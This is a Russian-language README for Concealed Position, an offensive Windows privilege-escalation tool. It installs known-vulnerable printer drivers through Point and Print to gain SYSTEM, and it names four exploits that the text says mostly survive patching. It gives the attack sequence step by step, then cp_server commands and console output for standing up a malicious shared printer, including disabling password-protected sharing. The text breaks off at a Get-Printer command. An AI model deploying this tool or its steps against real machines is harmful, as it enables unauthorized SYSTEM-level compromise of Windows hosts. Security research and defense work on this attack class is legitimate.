
Инструмент повышения привилегий с собственным драйвером принтера
Concealed Position — это атака локального повышения привилегий на Windows, использующая концепцию «Bring Your Own Vulnerability». В частности, Concealed Position (CP) использует предусмотренную логику пакетной точки и печати в Windows, которая позволяет пользователю с низкими привилегиями размещать и устанавливать драйверы принтера. CP специально устанавливает драйверы с известными уязвимостями, которые затем эксплуатируются для повышения привилегий до SYSTEM. Concealed Position впервые был представлен на DEF CON 29.
Concealed Position предлагает четыре эксплойта — все с одинаково глупыми названиями:
Эксплойты хороши тем, что, кроме SLASHINGDAMAGE, они будут продолжать работать даже после исправления проблем. Единственный механизм Windows для предотвращения использования старых драйверов — отзыв сертификата драйвера — исторически (?) не применяется.
Вероятно, ACIDDAMAGE. RADIANTDAMAGE и POISONDAMAGE — это состояния гонки (для перезаписи DLL), а SLASHINGDAMAGE, надеюсь, уже исправлен везде.
Concealed Position состоит из двух частей: зловредного принтера и клиента. Клиент обращается к серверу, получает драйвер, сохраняет его в хранилище драйверов, устанавливает принтер и эксплуатирует процесс установки. Легко! На языке MSAPI атака выглядит примерно так:
Шаг 1: Разместить драйвер в хранилище драйверов
клиент -> сервер: GetPrinterDriver
сервер -> клиент: Ответ с драйвером
Шаг 2: Установить драйвер из хранилища драйверов
клиент: InstallPrinterDriverFromPackage
Шаг 3: Добавить локальный принтер (этап эксплуатации)
клиент: Add printer
Важно отметить, что SLASHINGDAMAGE на самом деле работает не так. SLASHINGDAMAGE — это реализация атаки зловредного принтера, описанной на DEFCON 28 (2020), и давно исправлена. Мне просто нравится эта атака (она дала толчок всему остальному), и я решил оставить этот эксплойт в своём зловредном сервере... как бы странно это ни звучало.
Спорно, да. Хранилище драйверов — это «доверенная коллекция ... сторонних пакетов драйверов», для изменения которой требуется доступ администратора. Используя GetPrinterDriver, атакующий с низкими привилегиями может разместить произвольные драйверы в хранилище. На мой взгляд, это пересекает чёткую границу безопасности.
Microsoft, похоже, согласилась, выпустив CVE-2021-34481.
Хотя... можно утверждать, что это просто особенность системы, а не уязвимость. На самом деле это не так важно. Атакующий может повысить привилегии до SYSTEM на стандартных установках Windows.
Как минимум Windows 8.1 и выше.
Просто! Настолько просто, что будет много абзацев для описания!
Сначала посмотрим на параметры командной строки cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Как показано выше, серверу требуется два параметра:
Например, предположим, мы хотим настроить зловредный принтер, который будет раздавать драйвер ACIDDAMAGE. Просто сделайте это:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Вот и всё, на вашей системе появится новый принтер:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer